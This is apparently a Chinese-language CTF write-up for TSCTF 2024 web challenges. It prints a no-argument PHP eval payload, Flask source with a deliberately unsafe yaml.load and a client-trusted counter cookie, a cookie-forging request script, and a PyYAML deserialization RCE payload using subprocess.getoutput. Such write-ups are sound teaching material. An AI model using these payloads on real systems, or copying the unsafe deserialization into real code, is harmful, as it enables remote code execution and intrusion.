RCE ME !!!
一道签到,无参数RCE.
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
$cmd= $_GET['cmd'];
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/|zip:\/\//i', $cmd)) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $cmd)) {
if (!preg_match('/pwd|tac|cat|chr|ord|ls|dir|conv|info|hex|bin|rand|array|source|file|cwd|dfined|system|assert|sess/i',$cmd)){
@eval($cmd);
}
else{
die("不是,哥们!");
}
}
else{
die("真的是这样吗?");
}
}
else{
die("是这样的吗?");
}
}
实际上看到第二个preg就会意识到考察的是无参数rce,使用payload如下就能打
eval(end(current(get_defined_vars())));&a=phpinfo();
flag放在了环境变量中
alpaca_search
本来是没有这道题的,但是在比赛时发现没有发包题.去年好歹有个十年之约,索性临场搞一个.
后端逻辑如下:
from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sys
app = Flask(__name__)
app.secret_key = 'super_secret_key'
# 使用的用户凭证
valid_username = "admin"
valid_password = "guest"
# 伪造的flag存储文件
FLAG_PATH = "flag"
# 基础页面样式
base_styles = '''
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
background-color: white;
border-radius: 10px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
padding: 20px;
max-width: 400px;
width: 100%;
}
h2 {
text-align: center;
color: #333;
}
form {
display: flex;
flex-direction: column;
}
input[type="text"], input[type="password"], input[type="number"] {
padding: 10px;
margin: 10px 0;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 16px;
}
input[type="submit"] {
background-color: #5cb85c;
color: white;
padding: 10px;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
margin-top: 10px;
}
input[type="submit"]:hover {
background-color: #4cae4c;
}
p {
color: #666;
font-size: 14px;
text-align: center;
}
.error {
color: red;
text-align: center;
margin-top: 10px;
}
.rules {
font-size: 14px;
margin-bottom: 20px;
color: #555;
}
</style>
'''
# 登录页面HTML
login_page = '''
''' + base_styles + '''
<div class="container">
<h2>Login</h2>
<p>Please log in to find the alpaca.</p>
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Username" required><br>
<input type="password" name="password" placeholder="Password" required><br>
<input type="submit" value="Login">
</form>
{% if error %}
<p class="error">{{ error }}</p>
{% endif %}
</div>
'''
# 猜数字页面HTML
guess_page = '''
''' + base_styles + '''
<div class="container">
<h2>Search the alpaca</h2>
<div class="rules">
<p>Game Rules:</p>
<ol>
<li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li>
<li>If you guess the correct number 1000 times, you will receive the flag.</li>
<li>Oh, I do think you can find him</li>
</ol>
</div>
<form method="POST" action="/guess">
<input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br>
<input type="submit" value="Submit">
</form>
<p>{{ message }}</p>
</div>
'''
# 修正解码前的 Base64 字符串填充
def pad_base64(data):
missing_padding = len(data) % 4
if (missing_padding):
data += '=' * (4 - missing_padding)
return data
@app.route('/login', methods=['GET', 'POST'])
def login():
error = None
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == valid_username and password == valid_password:
user_data = [{'username': username, 'password': password}]
serialized_data = yaml.dump(user_data)
encoded_data = base64.b64encode(serialized_data.encode()).decode()
resp = make_response(redirect(url_for('guess')))
resp.set_cookie('session', encoded_data)
return resp
else:
error = "Invalid credentials"
return render_template_string(login_page, error=error)
@app.route('/guess', methods=['GET', 'POST'])
def guess():
session_data = request.cookies.get('session')
if not session_data:
return redirect(url_for('login'))
debug_info = ""
try:
# 修正解码前的 Base64 字符串
session_data = pad_base64(session_data)
# 处理 URL 编码后的 Base64 字符串
session_data = session_data.replace('-', '+').replace('_', '/')
# Base64 解码
decoded_data = base64.b64decode(session_data.encode()).decode()
# HTML 实体解码
unescaped_data = html.unescape(decoded_data)
# YAML 反序列化
user_info = yaml.load(unescaped_data) # 使用完整的 Loader
# 将反序列化后的结果转换为字符串
debug_info += f"\n{user_info}\n"
except Exception as e:
debug_info = f"Error during session processing: {str(e)}"
message = ""
if request.method == 'POST':
try:
guess = int(request.form['guess'])
correct_number = random.randint(0, 99) # 修改随机数范围为0到99
if guess == correct_number:
if request.cookies.get('counter'):
counter = int(request.cookies.get('counter'))
else:
counter = 0
counter += 1
if counter >= 1000:
with open(FLAG_PATH, 'r') as f:
flag = f.read()
return flag
else:
resp = make_response(render_template_string(guess_page, message=f'Correct! Counter: {counter}\n{debug_info}'))
resp.set_cookie('counter', str(counter))
return resp
else:
message = "Incorrect guess. Try again."
except ValueError:
message = "Invalid input. Please enter a number between 0 and 99."
return render_template_string(guess_page, message=message + "\n" + debug_info)
# 根路径重定向到登录页面
@app.route('/')
def index():
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
首先admin和guest弱密码登录.然后去进行游戏.
不难发现在对了一次后包中的cookie存在counter.直接伪造cookie进行发包,写出脚本如下.
import requests
url = "http://challenges.hazmat.buptmerak.cn:21762/guess"
header = {
'Host': 'challenges.hazmat.buptmerak.cn:20761',
'Cookie': f"session = LSB7cGFzc3dvcmQ6IGd1ZXN0LCB1c2VybmFtZTogYWRtaW59Cg ==;counter = 999"
}
a = ''
while True:
for i in range(0, 100):
data = {
'guess': f'{i}'
}
response = requests.post(url, headers=header, data=data)
a = response.text
if 'Tsctf' in a:
break
if 'Tsctf' in a:
break
print(a)
alpaca_search_again
后端代码逻辑如下
from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sys
app = Flask(__name__)
app.secret_key = 'super_secret_key'
# 使用的用户凭证
valid_username = "admin"
valid_password = "admin"
# 伪造的flag存储文件
FLAG_PATH = "flag"
# 基础页面样式
base_styles = '''
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.container {
background-color: white;
border-radius: 10px;
box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
padding: 20px;
max-width: 400px;
width: 100%;
}
h2 {
text-align: center;
color: #333;
}
form {
display: flex;
flex-direction: column;
}
input[type="text"], input[type="password"], input[type="number"] {
padding: 10px;
margin: 10px 0;
border: 1px solid #ccc;
border-radius: 5px;
font-size: 16px;
}
input[type="submit"] {
background-color: #5cb85c;
color: white;
padding: 10px;
border: none;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
margin-top: 10px;
}
input[type="submit"]:hover {
background-color: #4cae4c;
}
p {
color: #666;
font-size: 14px;
text-align: center;
}
.error {
color: red;
text-align: center;
margin-top: 10px;
}
.rules {
font-size: 14px;
margin-bottom: 20px;
color: #555;
}
</style>
'''
# 登录页面HTML
login_page = '''
''' + base_styles + '''
<div class="container">
<h2>Login</h2>
<p>Please log in to find the alpaca.</p>
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Username" required><br>
<input type="password" name="password" placeholder="Password" required><br>
<input type="submit" value="Login">
</form>
{% if error %}
<p class="error">{{ error }}</p>
{% endif %}
</div>
'''
# 猜数字页面HTML
guess_page = '''
''' + base_styles + '''
<div class="container">
<h2>Search the alpaca</h2>
<div class="rules">
<p>Game Rules:</p>
<ol>
<li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li>
<li>If you guess the correct number 1000 times, you will receive the flag.</li>
<li>Oh, I do think you can find him</li>
</ol>
</div>
<form method="POST" action="/guess">
<input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br>
<input type="submit" value="Submit">
</form>
<p>{{ message }}</p>
</div>
'''
# 修正解码前的 Base64 字符串填充
def pad_base64(data):
missing_padding = len(data) % 4
if (missing_padding):
data += '=' * (4 - missing_padding)
return data
@app.route('/login', methods=['GET', 'POST'])
def login():
error = None
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == valid_username and password == valid_password:
user_data = [{'username': username, 'password': password}]
serialized_data = yaml.dump(user_data)
encoded_data = base64.b64encode(serialized_data.encode()).decode()
resp = make_response(redirect(url_for('guess')))
resp.set_cookie('session', encoded_data)
return resp
else:
error = "Invalid credentials"
return render_template_string(login_page, error=error)
@app.route('/guess', methods=['GET', 'POST'])
def guess():
session_data = request.cookies.get('session')
if not session_data:
return redirect(url_for('login'))
debug_info = ""
try:
# 修正解码前的 Base64 字符串
session_data = pad_base64(session_data)
# 处理 URL 编码后的 Base64 字符串
session_data = session_data.replace('-', '+').replace('_', '/')
# Base64 解码
decoded_data = base64.b64decode(session_data.encode()).decode()
# HTML 实体解码
unescaped_data = html.unescape(decoded_data)
# YAML 反序列化
user_info = yaml.load(unescaped_data) # 使用完整的 Loader
# 将反序列化后的结果转换为字符串
debug_info += f"\n{user_info}\n"
except Exception as e:
debug_info = f"Error during session processing: {str(e)}"
message = ""
if request.method == 'POST':
try:
guess = int(request.form['guess'])
message = "Incorrect guess. Try again."
except ValueError:
message = "Invalid input. Please enter a number between 0 and 99."
return render_template_string(guess_page, message=message + "\n" + debug_info)
# 根路径重定向到登录页面
@app.route('/')
def index():
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
和alpaca_search相比删除了后端进行回合计数的逻辑.也就说,靠counter去跳过回合不可用了.
我们发现cookie中存在session为LSB7cGFzc3dvcmQ6IGFkbWluLCB1c2VybmFtZTogYWRtaW59Cg==
,base64解码如下
熟悉的话会发现这是个yaml数据,显然有说法(有时也会触发pyyaml报错)
打pyyaml<5.1版本RCE.
由于需要在web端有回显,所以需要捕获标准输出而不能将其输出在控制台.选用getoutput(或check_output).
!!python/object/apply:subprocess.getoutput ["ls"]
如果你先做alpaca_search_again,后做alpaca_search的话,那么会发现pyyaml两个都会通.然而实际不会有人这么做的
标签:guess,color,request,2024,session,wp,TSCTF,password,data From: https://www.cnblogs.com/meraklbz/p/18426538